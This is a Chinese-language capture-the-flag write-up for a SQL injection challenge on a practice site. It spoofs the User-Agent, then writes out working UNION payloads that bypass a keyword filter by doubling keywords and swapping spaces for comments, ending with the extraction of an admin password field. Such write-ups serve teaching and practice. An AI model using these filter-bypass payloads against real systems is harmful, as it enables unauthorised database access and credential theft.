1、菊花
题目地址:http://www.simplexue.com/ctf/examctfdetail/729
点击“我是吊死”进入sim.php页面,post参数为id=,提示需要net framework 9.9
用burp拦截,修改user-agent为Mozilla/5.0 (MSIE 9.0;.NET CLR 9.9),下面的注入均在这个条件下进行
id=1 提示hacker:welcome to simplexue CTF
id=4提示hacker: don’t try again
这里可能存在sql注入
使用id=[keyword]1来测试发现多个关键词被过滤
包括union,and,or,select,update,insert,from,引号,空格;另外admin、pass等名称也被过滤。测试发现双重可绕过过滤,如ununionion,seselectlect, 用/**/或%09代替空格。
测试union3个字段,如注入id=0/**/ununionion/**/seselectlect/**/1,user(),database()
可同时得到
用户名和数据库名称分别为root@cuit-092a2b258a和inject
进一步测试无法从information_schema.tables读取数据,不清楚是否是设置了权限还是过滤了字符。
此后一直无进展,使用sqlmap,用versionedmorekeywords.py和nonrecursivereplacement.py等tamper仍无法得到有效结果,反复测试猜出表名message,dump数据也没用。key应该在另外的表中。
后来问到管理员,知道另外一个表为admin,字段包括id,username,userpass
,因过滤了一次pass和admin,注入如下语句得到key(userpass字段)
id=0/**/ununionion/**/seselectlect/**/1,username,userpapassss/**/ffromrom/**/aadmindmin/**/limit/**/0,1%23
simplexue: flag is SimCTF{xuectf}
这道题出的难度较高,虽然说是常见表名和字段名,但由于进行了过滤,很难进行猜解。过滤了较多的关键字,完全是尝试来一一判断,很费时间。
其他部分题目writeup参见http://gwenchen.blog.sohu.com/309110943.html,其他人也写了一大把,这里不再赘叙。